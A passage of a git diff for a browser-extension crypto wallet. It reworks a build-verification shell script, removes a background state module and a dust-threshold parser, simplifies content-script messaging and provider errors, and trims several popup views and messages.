-    bundles with an endsWith(\".js\") test; a marker-carrying file outside that
-    set means the test no longer describes what is emitted, and the DEBUG state
-    of this file was never asserted against anything."
-        fi
-    fi
-    COUNT=$((COUNT + 1))
-}
-
-# Walk the receipt line by line, applying $1 to each file entry. The header and
-# the root line are checked on the way past; the root line is what stops a
-# receipt written by a build of some other tree being pointed at this one.
-walk_receipt() {
-    _wr_each="$1"
-    LINENO_R=0
-    _line=""
-    while IFS= read -r _line || [ -n "$_line" ]; do
-        LINENO_R=$((LINENO_R + 1))
-        if [ "$LINENO_R" -eq 1 ]; then
-            [ "$_line" = "$RECEIPT_HEADER" ] ||
-                fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
-    is not a build receipt this script understands. Refusing to report
-    success."
-            continue
-        fi
-        if [ "$LINENO_R" -eq 2 ]; then
-            [ "$_line" = "root $ROOT" ] ||
-                fail "$RECEIPT was written by a build of a different tree: it
-    says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
-    the tree it was built in."
-            continue
-        fi
-        parse_file_line "$_line"
-        "$_wr_each"
-    done <"$RECEIPT"
-
-    [ "$LINENO_R" -ge 2 ] ||
-        fail "$RECEIPT is truncated: it has no root line, so it is not a
-    receipt this script can check anything against."
-}
-
-# Pass one: the receipt has to be a receipt before anything is concluded from
-# it. A line this script cannot read is a file that would go unchecked, and a
-# receipt naming no audited bundle asserts no DEBUG state at all — both are
-# failures, and both have to be established before the tree is walked against
-# it, because a receipt entry that was misread would otherwise surface as a
-# complaint about dist/.
-count_entry() {
-    SHAPE_COUNT=$((SHAPE_COUNT + 1))
-    if [ "$ENTRY_FLAG" = A ]; then
-        SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
-    fi
-}
-
-check_receipt_shape() {
-    SHAPE_COUNT=0
-    SHAPE_AUDITED=0
-    walk_receipt count_entry
-
-    [ "$SHAPE_COUNT" -gt 0 ] ||
-        fail "$RECEIPT names no emitted files, so nothing was inspected. A
-    build always emits some."
-    [ "$SHAPE_AUDITED" -gt 0 ] ||
-        fail "$RECEIPT names no bundle containing src/shared/constants.js, so
-    no DEBUG state would be asserted at all. That is never correct, so it is a
-    failure and not a pass."
-}
-
-# Pass three: every file the receipt names, checked against the bytes on disk.
-check_receipt_entries() {
-    walk_receipt check_entry
-}
-
-# --- the emitted tree -------------------------------------------------------
-
-# The receipt says which files the build emitted. This says dist/ contains no
-# others: an artifact that was added after the build, or that a hand-written
-# dist/ brought with it, is not something the build vouches for and is not
-# something this check may pass over.
+# The manifest says which bundles must carry a marker. This says no other
+# emitted file may carry one, which catches a manifest that has gone stale
+# or short rather than trusting whatever it happens to list.
 #
-# The walk has to be exhaustive and every name has to survive it intact, so
-# four things are enforced rather than assumed:
+# Deliberately unfiltered by extension. build.js selects manifest entries with
+# an endsWith(".js") test; repeating that literal here would mean a bundle
+# emitted under some other extension escaped the manifest AND this check at
+# once, which is the correlated blind spot the two-source design exists to
+# avoid. Every file under dist/ is searched, so build.js's filter is the only
+# place the assumption lives and this check is what catches it being wrong.
+#
+# That claim only holds if the walk is exhaustive, so two things are enforced
+# here rather than assumed:
 #
-#   - the walk is NUL-delimited and the paths reach the check as arguments, so
-#     no name can be reshaped on the way in. Read line by line, a name with a
-#     trailing space lost it to read's field splitting and the remnant then
-#     matched a listed path, and a name containing a newline arrived as a
-#     listed path plus an empty one. Both left an unchecked file in dist/ while
-#     the script still reported success.
 #   - find's exit status is checked. A subtree it cannot descend is reported on
 #     stderr and then simply missing from the listing, so an unchecked status
 #     turns "could not look" into "nothing was there" — the same conflation
-#     has_marker exists to prevent. The status cannot be read off a pipeline,
-#     so the listing lands in a file that xargs then reads back.
-#   - symlinks are walked too (-type l), not skipped. The build emits none, so
-#     a symlink under dist/ is a path the build did not produce, whatever it
-#     points at, and it fails as one instead of being read through.
-#   - dist/ itself must be a directory and not a symlink, which main asserts
-#     before anything reads through it. find does not follow a symlink named on
-#     its own command line, so a linked dist/ collapses this walk to one entry
-#     and cross-checks nothing.
-#
-# Types other than regular files and symlinks — fifos, sockets, device nodes and
-# empty directories — are left out on purpose, and the guarantee is bounded to
-# what is walked: a build emits none of them, none can carry a shippable
-# payload, and grep on a fifo would hang rather than fail.
-check_dist_tree() {
-    LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
-        fail "could not create a temporary file for the dist/ listing, so the
-    tree was never walked. Refusing to report success."
-
+#     has_marker exists to prevent. The status cannot be read off a pipeline
+#     ending in sort, so the sort is a separate step.
+#   - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
+#     reachable under an unlisted path in dist/ is a stale manifest whether the
+#     path is a link or a file, and grep reads through the link. A link that
+#     cannot be read through — dangling, or pointing at a directory — fails
+#     hard via has_marker's exit-2 path, which is the fail-closed answer: the
+#     build emits neither, so their DEBUG state is unproven, not fine.
+check_unlisted_bundles() {
     _find_status=0
-    find dist \( -type f -o -type l \) -print0 >"$LISTING" || _find_status=$?
+    _listing="$(find dist \( -type f -o -type l \) -print)" || _find_status=$?
     [ "$_find_status" -eq 0 ] ||
         fail "find exited $_find_status enumerating dist/, so part of the tree
     was never walked and nothing was established about the files in it. Any
-    file the build did not emit could be sitting there unchecked. That is a
-    permissions or I/O fault on the artifact. Refusing to report success."
+    unlisted bundle there went unchecked. That is a permissions or I/O fault on
+    the artifact, not a stale manifest. Refusing to report success."
+    _listing="$(printf '%s\n' "$_listing" | sort)"
 
-    _scan_status=0
-    xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
-    [ "$_scan_status" -eq 0 ] ||
-        fail "the dist/ tree scan exited $_scan_status: either a path under
-    dist/ failed the check reported above, or the scan could not be run at all.
-    Refusing to report success."
-}
-
-# Does the receipt name the path $1? Compared as whole strings, never through
-# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
-# the place to put one. The receipt's own paths are known to carry no
-# whitespace by the time this runs — verify_receipt failed the run otherwise —
-# so stripping the three leading fields recovers each one exactly.
-receipt_names() {
-    _rn_want="$1"
-    _rn_line=""
-    while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
-        case "$_rn_line" in
-        "file "*) ;;
-        *) continue ;;
-        esac
-        [ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
-    done <"$RECEIPT"
-    return 1
-}
-
-# The per-path half of check_dist_tree. It runs in a re-invocation of this
-# script, so it uses the same helpers as the rest of the file rather than a
-# second copy of them that could drift. Paths arrive as arguments and are never
-# split, joined or trimmed.
-scan_dist_paths() {
-    for _file in "$@"; do
-        if [ -h "$_file" ]; then
-            fail "$_file is a symlink under dist/. The build emits regular
-    files only, so this path is not something it produced, and what it points
-    at is not what was verified. Refusing to report success."
-        fi
-        if receipt_names "$_file"; then
+    while read -r _file; do
+        [ -n "$_file" ] || continue
+        if is_listed "$_file"; then
             continue
         fi
-        fail "$_file is under dist/ but the build that just ran did not emit
-    it. dist/ must contain exactly what the build produced: an extra file there
-    is an artifact nothing vouches for, and shipping the directory ships it."
-    done
+        if has_marker "$MARKER_ON" "$_file" ||
+            has_marker "$MARKER_OFF" "$_file"; then
+            fail "$_file carries a debug marker but is absent from $MANIFEST,
+    so the manifest no longer describes the emitted bundles."
+        fi
+    done <<EOF
+$_listing
+EOF
 }
 
-# --- arguments --------------------------------------------------------------
-
-# The expected mode and the receipt are stated by the caller. Nothing is read
-# from the environment, and there is no default for either.
-parse_args() {
-    while [ "$#" -gt 0 ]; do
-        case "$1" in
-        --expect)
-            [ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
-            set_expect "$2"
-            shift 2
-            ;;
-        --expect=*)
-            set_expect "${1#--expect=}"
-            shift
-            ;;
-        --receipt)
-            [ "$#" -ge 2 ] || fail "--receipt needs a path."
-            set_receipt "$2"
-            shift 2
-            ;;
-        --receipt=*)
-            set_receipt "${1#--receipt=}"
-            shift
-            ;;
-        *)
-            usage
-            fail "unknown argument: $1"
-            ;;
-        esac
-    done
+# The requested mode, read from our own environment using build.js's exact
+# rule: only the literal 1 opts in. Deliberately not taken from anything
+# build.js records about itself, so build.js cannot vouch for build.js.
+expected_marker() {
+    if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
+        echo "$MARKER_ON"
+    else
+        echo "$MARKER_OFF"
+    fi
 }
 
-set_expect() {
-    [ -z "$EXPECT" ] || fail "--expect given more than once."
-    case "$1" in
-    release) EXPECT="$MARKER_OFF" ;;
-    debug) EXPECT="$MARKER_ON" ;;
-    *) fail "--expect takes release or debug, not \"$1\"." ;;
-    esac
-}
-
-set_receipt() {
-    [ -z "$RECEIPT" ] || fail "--receipt given more than once."
-    [ -n "$1" ] || fail "--receipt was given an empty path."
-    # Resolved against the caller's directory, before main cd's to the repo
-    # root.
-    case "$1" in
-    /*) RECEIPT="$1" ;;
-    *) RECEIPT="$PWD/$1" ;;
-    esac
-}
-
-# --- main -------------------------------------------------------------------
-
 main() {
-    # Internal re-entry from check_dist_tree's xargs. Not part of the
-    # command-line interface: nothing else invokes it, and it is a distinct
-    # entry point rather than a mode flag threaded through the checks below.
-    if [ "${1-}" = "$SCAN_FLAG" ]; then
-        shift
-        [ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
-        RECEIPT="$1"
-        shift
-        cd "$ROOT"
-        [ -r "$RECEIPT" ] ||
-            fail "$RECEIPT became unreadable during the run, so the dist/ tree
-    could not be checked against it. Refusing to report success."
-        scan_dist_paths "$@"
-        return 0
-    fi
-
-    parse_args "$@"
-
-    [ -n "$EXPECT" ] || {
-        usage
-        fail "no --expect argument. The mode this build was supposed to produce
-    has to be stated by whoever ran the build; it is not a default and it is
-    not read from AUTISTMASK_DEBUG in this script's environment, because an
-    operator with that exported would then have their debug build verified as
-    the release one they asked for."
-    }
-    [ -n "$RECEIPT" ] || {
-        usage
-        fail "no --receipt argument. The list of files to check comes from the
-    build that just ran, not from dist/: without it, a hand-written dist/ would
-    be verifying itself. make build and make build-debug pass one."
-    }
-
-    pick_sha256
     cd "$ROOT"
 
-    # Asserted here rather than left to grep. A symlinked dist/ used to fail
-    # only because GNU grep exits 2 on a directory, so the tree walk hit
-    # has_marker's I/O path by luck; under a grep that exits 1 instead, the
-    # whole cross-check would have collapsed into a pass.
-    if [ -h dist ]; then
-        fail "dist is a symlink, not a directory. find does not follow a
-    symlink named on its own command line, so the tree walk would see one entry
-    instead of the emitted tree and establish nothing about it. Refusing to
-    report success."
-    fi
-    [ -d dist ] ||
-        fail "dist is not a directory, so there is no emitted tree to verify.
-    build.js writes it; run make build first."
+    expected="$(expected_marker)"
+    echo "Verifying emitted bundles (expecting $expected)..."
 
-    case "$RECEIPT" in
-    "$ROOT/dist" | "$ROOT/dist/"*)
-        fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
-    the tree it describes is rewritten by whoever rewrites the tree, and vouches
-    for nothing. make build keeps it outside the repo."
-        ;;
-    esac
-
-    [ -e "$RECEIPT" ] ||
-        fail "$RECEIPT is missing. build.js writes it at the end of a
-    successful build; run make build rather than invoking this directly."
-    [ -f "$RECEIPT" ] ||
-        fail "$RECEIPT is not a regular file, so it is not a build receipt."
-    [ -s "$RECEIPT" ] ||
-        fail "$RECEIPT is empty, so the build wrote nothing to it and there is
-    no account of what it emitted. build.js writes the receipt last, so an
-    empty one means the build did not finish."
-    [ -r "$RECEIPT" ] ||
-        fail "$RECEIPT is not readable, so nothing was inspected. That is a
+    [ -f "$MANIFEST" ] ||
+        fail "$MANIFEST is missing. build.js writes it at the end of a
+    successful build; run make build first."
+    [ -s "$MANIFEST" ] ||
+        fail "$MANIFEST is empty, so no emitted bundle was found to contain
+    src/shared/constants.js. That is never correct, so it is a failure and not
+    a pass."
+    [ -r "$MANIFEST" ] ||
+        fail "$MANIFEST is not readable, so nothing was inspected. That is a
     permissions or I/O fault, not a pass."
 
-    echo "Verifying emitted files against the build receipt (expecting" \
-        "$EXPECT)..."
+    count=0
+    while read -r file; do
+        [ -n "$file" ] || continue
+        [ -f "$file" ] ||
+            fail "$MANIFEST lists $file, which does not exist."
+        [ -s "$file" ] ||
+            fail "$MANIFEST lists $file, which is empty. An empty bundle
+    carries no marker and proves nothing, so this is a failure and not a pass."
+        read_marker "$file"
+        [ "$MARKER" = "$expected" ] ||
+            fail "$file is $MARKER but this build expects $expected."
+        echo "  ok: $file ($MARKER)"
+        count=$((count + 1))
+    done <"$MANIFEST"
 
-    # Order matters. The receipt has to be well-formed before it is used as an
-    # expectation, and the tree has to be walkable in full before any single
-    # file in it is pronounced on: a subtree that cannot be descended makes
-    # every file under it look absent, and "could not look" must never be
-    # reported as "was not there".
-    check_receipt_shape
-    check_dist_tree
-    check_receipt_entries
+    [ "$count" -gt 0 ] || fail "no bundles were inspected."
 
-    echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
-        "$AUDITED bundle(s) $EXPECT"
+    check_unlisted_bundles
+
+    echo "verify-build: $count bundle(s) verified $expected"
 }
 
 main "$@"

src/background/state.js

@@ -1,96 +0,0 @@
-// The background's access to the persisted profile.
-//
-// There is no in-memory copy here, and that is the whole design. The MV3
-// service worker is terminated when idle and revived by the next message, so
-// anything held at module scope is either absent or arbitrarily stale, and
-// src/shared/state.js's module-level `state` singleton — which nothing in the
-// worker ever populates — silently served DEFAULT_STATE to whoever read it.
-// Five defects came out of that (https://git.eeqj.de/sneak/AutistMask/issues/324),
-// and every point fix for one of them added a loadState() that created the
-// next: loading detaches the objects an in-flight handler is holding.
-//
-// So the background reads per call and writes read-modify-write:
-//
-//   getState()        one storage read, normalized, detached. Nothing else
-//                     holds the object it returns, so a handler may keep it
-//                     across any number of awaits and no concurrent work can
-//                     move it.
-//   updateState(fn)   read fresh, apply fn to that fresh record, write it
-//                     back — all inside a queue, so two background writes
-//                     never interleave, and the read is one storage round trip
-//                     ahead of the write rather than a page lifetime ahead of
-//                     it (which is what made the popup's saveState() need a
-//                     per-field merge against a baseline at all).
-//
-// A handler that must both read and write therefore does its network work
-// against a snapshot it owns, and applies the RESULT inside updateState().
-// It never publishes an object other in-flight work is holding.
-
-const { storageGet, storageSet } = require("../shared/browserApi");
-const { normalizePersisted } = require("../shared/persistedState");
-const {
-    STATE_SCHEMA_VERSION,
-    assertStateUsable,
-} = require("../shared/stateSchema");
-
-// A fresh, fully-normalized, detached copy of the persisted profile.
-//
-// Normalized rather than raw: a legacy or malformed record is self-healed the
-// same way loadState() heals it for the popup, so the background is never the
-// one context reasoning about a shape the rest of the extension repairs.
-//
-// Throws StateUnusableError for a record this build cannot make sense of,
-// before normalization gets a chance to paper over it — the same gate, in the
-// same place, as the popup's loadState(). Every handler that consults the
-// profile comes through here, so a dApp call against such a record is answered
-// with the specific error the dispatcher maps that to (src/background/index.js)
-// rather than dereferencing its way into a generic -32603.
-async function getState() {
-    const result = await storageGet("autistmask");
-    assertStateUsable(result.autistmask);
-    return normalizePersisted(result.autistmask);
-}
-
-// Serializes the read-modify-write turns below. Two of them interleaved would
-// each read before the other wrote, and the second write would carry the first
-// one's fields back to their pre-turn values.
-let updateQueue = Promise.resolve();
-
-async function updateStateOnce(mutate) {
-    const s = await getState();
-    await mutate(s);
-    s.hasWallet = Boolean(s.wallets && s.wallets.length > 0);
-    // Stamped on every write, exactly as the popup's saveState() stamps it:
-    // whichever context writes last, the record in storage is in this build's
-    // shape and says so.
-    s.schemaVersion = STATE_SCHEMA_VERSION;
-    await storageSet({ autistmask: s });
-    return s;
-}
-
-// Apply `mutate` to a record read fresh from storage and write the result
-// back. `mutate` receives a detached, normalized profile and mutates it in
-// place; it may be async, but it must not do anything slow — the window
-// between the read and the write is the window in which another context's
-// write is lost, and keeping it to one storage round trip is what makes a
-// whole-record write safe here. Concretely: the write is the WHOLE record, so
-// a popup write that lands inside that window is reverted, in every field, by
-// the record this turn read before it. That is accepted because the window is
-// one round trip long and the popup is not writing while the worker is;
-// widening it is what would make it a real hazard.
-//
-// `mutate` must also not call updateState() itself, directly or through
-// anything it awaits: the queue is strictly serial, so the inner turn waits on
-// the outer one, which is waiting on the inner one. That deadlocks the whole
-// background, not just the caller. Mutate the record you were handed.
-//
-// Resolves with the record that was written.
-function updateState(mutate) {
-    const turn = updateQueue.then(() => updateStateOnce(mutate));
-    // The queue must advance even when a turn rejects, or every update after
-    // it queues behind a promise that never settles.
-    updateQueue = turn.catch(() => {});
-    return turn;
-}
-
-module.exports = { getState, updateState };

src/content/index.js

@@ -1,20 +1,12 @@
 // AutistMask content script — bridges between inpage (window.ethereum)
 // and the background service worker via extension messaging.
 
-const {
-    hasBrowserNamespace,
-    runtimeApi,
-    sendMessage,
-    storageGet,
-    storageSet,
-} = require("../shared/browserApi");
-
 // In Chrome (MV3), inpage.js runs as a MAIN-world content script declared
 // in the manifest, so no injection is needed here.  In Firefox (MV2), the
 // "world" key is not supported, so we inject via a <script> tag.
-if (hasBrowserNamespace()) {
+if (typeof browser !== "undefined") {
     const script = document.createElement("script");
-    script.src = runtimeApi().getURL("src/content/inpage.js");
+    script.src = browser.runtime.getURL("src/content/inpage.js");
     script.onload = function () {
         this.remove();
     };
@@ -22,27 +14,23 @@ if (hasBrowserNamespace()) {
 }
 
 // Send the persisted EIP-6963 provider UUID to the inpage script.
-// Generated once at install time and stored in extension storage.
-(async function sendProviderUuid() {
-    let uuid = null;
-    try {
-        const items = await storageGet("eip6963Uuid");
-        uuid = items?.eip6963Uuid;
+// Generated once at install time and stored in chrome.storage.local.
+(function sendProviderUuid() {
+    const storage =
+        typeof browser !== "undefined"
+            ? browser.storage.local
+            : chrome.storage.local;
+    storage.get("eip6963Uuid", (items) => {
+        let uuid = items?.eip6963Uuid;
         if (!uuid) {
             uuid = crypto.randomUUID();
-            await storageSet({ eip6963Uuid: uuid });
+            storage.set({ eip6963Uuid: uuid });
         }
-    } catch {
-        // Storage was unavailable or refused the write. The announcement
-        // still has to go out — a provider that never announces is invisible
-        // to every EIP-6963 dApp — so it goes under a fresh uuid that this
-        // page load will not outlive.
-        if (!uuid) uuid = crypto.randomUUID();
-    }
-    window.postMessage(
-        { type: "AUTISTMASK_PROVIDER_UUID", uuid },
-        location.origin,
-    );
+        window.postMessage(
+            { type: "AUTISTMASK_PROVIDER_UUID", uuid },
+            location.origin,
+        );
+    });
 })();
 
 // Relay requests from the page to the background script
@@ -51,31 +39,27 @@ window.addEventListener("message", (event) => {
     if (event.data?.type !== "AUTISTMASK_REQUEST") return;
     const { id, method, params } = event.data;
 
-    sendMessage({
-        type: "AUTISTMASK_RPC",
-        id,
-        method,
-        params,
-        origin: location.origin,
-    })
-        .then((response) => {
+    const runtime =
+        typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
+
+    runtime.sendMessage(
+        { type: "AUTISTMASK_RPC", id, method, params, origin: location.origin },
+        (response) => {
             if (response) {
                 window.postMessage(
                     { type: "AUTISTMASK_RESPONSE", id, ...response },
                     "*",
                 );
             }
-        })
-        .catch(() => {
-            // No receiver: the background context is gone. The page's promise
-            // stays pending, which is what it did before this was a promise
-            // at all; turning it into a rejection here is a change to what
-            // dApps see and belongs to its own issue.
-        });
+        },
+    );
 });
 
 // Listen for events pushed from the background (e.g. accountsChanged)
-runtimeApi().onMessage.addListener((msg) => {
+const runtime =
+    typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
+
+runtime.onMessage.addListener((msg) => {
     if (msg.type === "AUTISTMASK_EVENT") {
         window.postMessage(
             {

src/content/inpage.js

@@ -11,39 +11,6 @@
     let nextId = 1;
     const pending = {};
 
-    // EIP-1193 ProviderRpcError: `code`, `message`, optional `data`. A class
-    // rather than properties bolted onto an Error because this object crosses
-    // no boundary after construction — it is built in the page's own realm and
-    // handed straight to the caller's catch — so the prototype survives and
-    // `error.name` is a stable thing for a dApp to see.
-    class ProviderRpcError extends Error {
-        constructor(code, message, data) {
-            super(message);
-            this.name = "ProviderRpcError";
-            this.code = code;
-            if (data !== undefined) this.data = data;
-        }
-    }
-
-    // Rebuild a boundary error as the error the page catches, carrying the
-    // code (and data) the extension reported. Without this a dApp cannot tell
-    // a user's refusal (4001) from a wallet that broke, and retries or shows
-    // an error instead of accepting the refusal.
-    //
-    // Whatever code arrived is passed through verbatim rather than being
-    // matched against a list: the extension emits 4001, 4100 and 4902 today,
-    // and a code this file has never heard of is still the truth about what
-    // happened. An error reported with no code at all stays a plain Error —
-    // a ProviderRpcError whose `code` is undefined would advertise a
-    // conformance it does not have. `message` is untouched in every case.
-    function toPageError(error) {
-        const message = (error && error.message) || "Request failed";
-        if (error && error.code !== undefined && error.code !== null) {
-            return new ProviderRpcError(error.code, message, error.data);
-        }
-        return new Error(message);
-    }
-
     // Listen for responses from the content script
     window.addEventListener("message", function onUuid(event) {
         if (event.source !== window) return;
@@ -53,7 +20,7 @@
         if (!p) return;
         delete pending[id];
         if (error) {
-            p.reject(toPageError(error));
+            p.reject(new Error(error.message || "Request failed"));
         } else {
             p.resolve(result);
         }
@@ -79,7 +46,7 @@
         for (const cb of cbs) {
             try {
                 cb(data);
-            } catch {
+            } catch (e) {
                 // ignore listener errors
             }
         }
@@ -179,8 +146,7 @@
             return this;
         },
 
-        // Some dApps (wagmi) probe this object to decide whether the provider
-        // supports the de-facto standard extras. The name is theirs, not ours.
+        // Some dApps (wagmi) check this to confirm MetaMask-like behavior
         _metamask: {
             isUnlocked() {
                 return Promise.resolve(provider.selectedAddress !== null);

src/popup/dustThreshold.js

@@ -1,42 +0,0 @@
-// Parsing for the dust threshold field in Settings.
-//
-// Pure: no DOM, no state, so the accepted set can be unit tested directly
-// instead of through the settings view.
-//
-// Accepted input is plain decimal digits only, meaning a whole number of
-// gwei, zero or greater. Zero is a real setting: it hides nothing.
-//
-// Deliberately rejected, not coerced:
-//   ""          nothing to save
-//   "-1"        a negative threshold has no meaning
-//   "1.5"       fractional gwei is not a threshold the filter can use
-//   "100 gwei"  the unit is already printed beside the field
-//   "0x10"      hex, which Number() would silently read as 16
-//   "1e3"       exponent notation, which Number() would silently read as 1000
-//
-// The last two are the reason this is a digit test and not a Number() test.
-// Number() accepts both, and accepting them would put a number in the field
-// that the user did not type — the same silent substitution the visible
-// rejection message exists to end.
-
-// Must render on ONE line of #flash-msg, whose reserved height
-// (min-h-[1.25rem]) is exactly one line at text-xs. A string long enough to
-// wrap to two lines pushes the settings view down, which the No Layout Shift
-// policy forbids. Do not lengthen this without re-running the layout test in
-// tests/e2e/run.js, which measures the flash line and goes red on a shift.
-const DUST_THRESHOLD_MESSAGE =
-    "Please enter a whole number of gwei, zero or greater.";
-
-// Returns the threshold in gwei, or null if the input is not one.
-function parseDustThresholdGwei(raw) {
-    if (typeof raw !== "string") return null;
-    const trimmed = raw.trim();
-    if (!/^[0-9]+$/.test(trimmed)) return null;
-    const val = Number(trimmed);
-    // A run of digits long enough to exceed Number's exact integer range
-    // would round on the way in, so it is not a threshold we can store.
-    if (!Number.isSafeInteger(val)) return null;
-    return val;
-}
-
-module.exports = { DUST_THRESHOLD_MESSAGE, parseDustThresholdGwei };

src/popup/index.html

@@ -136,9 +136,7 @@
                 <div id="add-wallet-section-xprv" class="hidden">
                     <p class="mb-2">
                         Paste your extended private key (xprv) below. This will
-                        import the HD wallet and scan for used addresses. It
-                        must be the master key for the wallet; an account-level
-                        or child key is not supported.
+                        import the HD wallet and scan for used addresses.
                     </p>
                     <div class="mb-2">
                         <input
@@ -153,28 +151,12 @@
                 <!-- Shared password fields -->
                 <div class="mb-2" id="add-wallet-password-section">
                     <label class="block mb-1">Choose a password</label>
-                    <!-- The hint is swapped in place when the import tab
-                         changes, and it sits directly above the password
-                         fields, so a wording that wraps to a different
-                         number of lines would move them under the pointer.
-                         Two things stop that: the three wordings in
-                         PASSWORD_HINTS are kept within a couple of
-                         characters of each other in length, and this floor
-                         matches what each of them needs. All three measure
-                         48px -- 3 lines at the 16px line height, at the
-                         368px width this box has in the 396px popup body.
-                         Do not raise it: the reserve is unused height on
-                         every tab, and at 6rem it pushed
-                         #btn-add-wallet-confirm to bottom=628px in a 600px
-                         viewport, below the fold. -->
                     <p
-                        class="text-xs text-muted mb-1 min-h-[3rem]"
+                        class="text-xs text-muted mb-1"
                         id="add-wallet-password-hint"
                     >
                         This password encrypts your recovery phrase on this
-                        device. You will need it to send funds. It cannot be
-                        recovered or reset, so keep your recovery phrase written
-                        down: it is the only backup of this wallet.
+                        device. You will need it to send funds.
                     </p>
                     <input
                         type="password"
@@ -600,18 +582,10 @@
                     <div id="confirm-balance" class="text-xs"></div>
                 </div>
                 <div id="confirm-fee" class="mb-3" style="visibility: hidden">
-                    <div class="text-xs text-muted mb-1">Network fee</div>
-                    <div id="confirm-fee-amount" class="text-xs"></div>
-                    <!-- Holds its one line of space from the first paint, so
-                    the reserve appearing when the estimate lands moves
-                    nothing. The placeholder is never seen. -->
-                    <div
-                        id="confirm-fee-reserve"
-                        class="text-xs text-muted"
-                        style="visibility: hidden"
-                    >
-                        reserve pending
+                    <div class="text-xs text-muted mb-1">
+                        Estimated network fee
                     </div>
+                    <div id="confirm-fee-amount" class="text-xs"></div>
                 </div>
                 <div
                     id="confirm-warnings"
@@ -673,31 +647,6 @@
                     class="mb-2 border border-border border-dashed p-2"
                     style="visibility: hidden; min-height: 1.25rem"
                 ></div>
-                <div
-                    id="confirm-amount-fee-error"
-                    class="mb-2 border border-border border-dashed p-2 text-xs"
-                    style="visibility: hidden"
-                >
-                    Your balance does not cover this amount plus the network
-                    fee. Please go back and send a smaller amount.
-                </div>
-                <div
-                    id="confirm-gas-error"
-                    class="mb-2 border border-border border-dashed p-2 text-xs"
-                    style="visibility: hidden"
-                >
-                    You do not have enough ETH to pay the network fee for this
-                    transfer. Please add ETH to this address and try again.
-                </div>
-                <div
-                    id="confirm-fee-unknown-error"
-                    class="mb-2 border border-border border-dashed p-2 text-xs"
-                    style="visibility: hidden"
-                >
-                    The network fee could not be estimated, so this transaction
-                    cannot be checked against your balance. Please go back and
-                    try again.
-                </div>
                 <div class="mb-2">
                     <label class="block mb-1 text-xs">Password</label>
                     <input
@@ -920,12 +869,6 @@
                         />
                         Show tracked tokens with zero balance
                     </label>
-                    <label
-                        class="text-xs flex items-center gap-1 cursor-pointer mb-2"
-                    >
-                        <input type="checkbox" id="settings-utc-timestamps" />
-                        UTC Timestamps
-                    </label>
                     <div class="text-xs flex items-center gap-1">
                         <label for="settings-theme">Theme:</label>
                         <select
@@ -1005,15 +948,6 @@
                         transfers and prevent interaction with suspicious
                         tokens.
                     </p>
-                    <label
-                        class="text-xs flex items-center gap-1 cursor-pointer mb-2"
-                    >
-                        <input
-                            type="checkbox"
-                            id="settings-hide-spoofed-symbols"
-                        />
-                        Hide fake tokens impersonating a known symbol
-                    </label>
                     <label
                         class="text-xs flex items-center gap-1 cursor-pointer mb-2"
                     >
@@ -1045,6 +979,12 @@
                         />
                         <span class="text-xs text-muted">gwei</span>
                     </div>
+                    <label
+                        class="text-xs flex items-center gap-1 cursor-pointer mb-1"
+                    >
+                        <input type="checkbox" id="settings-utc-timestamps" />
+                        UTC Timestamps
+                    </label>
                 </div>
 
                 <div class="bg-well p-3 mx-1 mb-3">
@@ -1156,173 +1096,6 @@
                 >
                     Confirm Delete
                 </button>
-                <p class="text-xs mt-3">
-                    <span
-                        id="btn-delete-wallet-lost-password"
-                        class="underline decoration-dashed cursor-pointer"
-                        >I have lost my password</span
-                    >
-                </p>
-            </div>
-
-            <!-- ============ DELETE WALLET WITHOUT THE PASSWORD ============ -->
-            <div id="view-delete-wallet-lost-password" class="view hidden">
-                <button
-                    id="btn-delete-wallet-lost-back"
-                    class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
-                >
-                    &lt; Back
-                </button>
-                <h2 class="font-bold mb-3">Delete Wallet Without a Password</h2>
-                <p class="text-xs mb-2">
-                    Your password cannot be recovered or reset, so there is no
-                    way to unlock
-                    <strong id="delete-wallet-lost-name"></strong> again. You
-                    can still delete it, and no password is needed to do that.
-                </p>
-                <p class="text-xs mb-2">
-                    Deleting it erases the copy of its key that is stored on
-                    this device. Nothing on the blockchain changes, and the
-                    money at its addresses is not moved or destroyed.
-                </p>
-                <p class="text-xs mb-2">
-                    If you have the recovery phrase for this wallet written
-                    down, add the wallet again afterwards with a new password
-                    and you will have it back.
-                    <strong
-                        >If you do not have it written down, deleting this
-                        wallet means losing everything it holds,
-                        forever.</strong
-                    >
-                </p>
-                <p class="text-xs mb-3">Your other wallets are not touched.</p>
-                <p class="text-xs mb-1">
-                    To confirm, type the name of the wallet (<strong
-                        id="delete-wallet-lost-name-echo"
-                    ></strong
-                    >) below.
-                </p>
-                <div class="mb-2">
-                    <input
-                        type="text"
-                        id="delete-wallet-lost-name-input"
-                        class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
-                        placeholder="Type the wallet name"
-                    />
-                </div>
-                <div
-                    id="delete-wallet-lost-flash"
-                    class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
-                    style="visibility: hidden"
-                ></div>
-                <button
-                    id="btn-delete-wallet-lost-confirm"
-                    class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
-                >
-                    Delete This Wallet Forever
-                </button>
-            </div>
-
-            <!-- ============ DELETE ADDRESS CONFIRM ============ -->
-            <div id="view-delete-address-confirm" class="view hidden">
-                <button
-                    id="btn-delete-address-back"
-                    class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
-                >
-                    &lt; Back
-                </button>
-                <h2 class="font-bold mb-3">Remove Address</h2>
-                <p class="text-xs mb-2">
-                    You are about to remove
-                    <strong id="delete-address-label"></strong> from
-                    <strong id="delete-address-wallet-name"></strong>.
-                </p>
-                <div
-                    id="delete-address-value"
